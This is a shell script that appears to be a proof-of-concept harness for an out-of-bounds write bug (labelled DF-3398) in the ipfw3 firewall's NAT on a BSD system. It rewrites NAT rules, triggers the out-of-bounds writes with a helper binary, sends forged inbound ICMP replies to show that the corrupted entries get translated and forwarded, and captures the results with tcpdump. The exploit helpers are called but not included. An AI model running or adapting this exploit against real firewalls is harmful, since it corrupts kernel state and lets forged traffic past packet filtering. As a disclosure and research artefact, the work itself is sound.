#!/bin/sh
# DF-3398 clean inbound-oracle proof, all processing pinned to cpu5:
#  - fresh rules (fresh per-rule nat cache)
#  - OOB write via cpu5 trigger (slots 64512..64515)
#  - inbound forged replies pinned to cpu5: OOB ids translate+forward,
#    control ids are denied.
{
echo "=== rules before"; ipfw3 show | head -6
ipfw3 delete 100 >/dev/null 2>&1
ipfw3 delete 99  >/dev/null 2>&1
ipfw3 add 100 nat 1 icmp from any to any out via vtnet0 >/dev/null
ipfw3 add 99 nat 1 icmp from any to any in >/dev/null
echo "=== rules after"; ipfw3 show | head -6

tcpdump -i vtnet0 -n -c 10 icmp >/root/cap2.txt 2>/root/cap2.err &
TPID=$!
sleep 1

echo "=== re-trigger OOB writes on cpu5 (x=0xfc..0x3fc -> slots 64512..64515)"
/root/icmp_oob 5 0xfc 0x1fc 0x2fc 0x3fc
sleep 1

echo "=== inbound OOB ids (expect translation: egress dst=204.203.0.1 etc)"
/root/icmp_in 5 fc00; sleep 1
/root/icmp_in 5 fc01; sleep 1
/root/icmp_in 5 fc02; sleep 1
/root/icmp_in 5 fc03; sleep 1
echo "=== inbound control ids (expect deny, no egress)"
/root/icmp_in 5 abcd; sleep 1
/root/icmp_in 5 fb00; sleep 1
sleep 2
kill $TPID 2>/dev/null
sleep 1
echo "=== capture:"
cat /root/cap2.txt
} > /root/proof2_out.txt 2>&1
echo PROOF2_DONE